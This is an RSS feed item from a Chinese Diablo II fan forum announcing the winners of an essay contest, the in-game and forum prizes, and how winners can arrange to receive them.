<pubDate>Thu, 23 Jul 2009 08:09:08 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/13.htm</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;91D2盛大开荒...征文活动成功举办... <br/><br/>&nbsp;&nbsp;离不开一直以来默默支持我们的朋友...谢谢大家.. <br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;这一次征文虽然说不上是百花齐放，也算得上异彩纷呈，着实让评委们伤透了脑筋。 <br/><br/>&nbsp;&nbsp;取舍之间，左右为难。 <br/><br/>&nbsp;&nbsp;然而，失落与幸运是孪生兄弟。 <br/><br/>&nbsp;&nbsp;如同我们在游戏在生活中mf一般，没有失意，哪有惊喜。 <br/><br/>&nbsp;&nbsp;在此，先向没有获奖的朋友们说一声：感谢你们的参与，91D2因为你们而感动！ <br/><br/>&nbsp;&nbsp;附上活动奖励与所有作品的链接： <br/><br/>【活动奖励】 <br/>&nbsp;&nbsp;第一名：20ist+bbs5000ist勋章一枚（名字SC来定）好评度 10威望3 （一名）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;第二名：12ist+bbs2000ist好评度 5威望2（二名）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;第三名：6ist+bbs1000ist&nbsp;&nbsp;好评度2 威望1（三名）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;优胜奖：2ist+bbs500ist&nbsp;&nbsp;&nbsp;&nbsp;（八名） <br/><br/>&nbsp;&nbsp;最佳评委奖（一名）：2ist <br/>&nbsp;&nbsp;最佳点评奖（一名）：2ist <br/>&nbsp;&nbsp;竞猜幸运奖（一名）：2ist&nbsp;&nbsp;<br/>&nbsp;&nbsp;作品链接： <br/>&nbsp;&nbsp;<a href="http://bbs.91d2.cn/read-htm-tid-675524.html" target="_blank">http://bbs.91d2.cn/read-ht...</a> <br/><br/><br/>关于奖品发放： <br/>1、获奖的朋友可以于每日19：30--22：00论坛PM我或者有我QQ的可以QQ联系我（对不住大家了，平时上班上不了游戏，晚上到家要到19：30了，给您造成的不便，敬请谅解） ； <br/><br/>2、告知交易的国度，房间 （要麻烦大家建n的时候用普通房间），并在领取完奖品后跟帖确认； <br/>&nbsp;&nbsp;&nbsp;&nbsp;例：&nbsp;&nbsp;媳妇&nbsp;&nbsp;确认已经领奖 <br/><br/>3、如果获奖的朋友上游戏的时间跟我有冲突，也可以PM我空白的ACC，我会把奖品发放到您的账号里，也请发放完毕后查收确认；<br/><br/>内个..bbsist、威望、好评、勋章，请等待管理层发放
]]>
</description>
</item>
</channel>
</rss>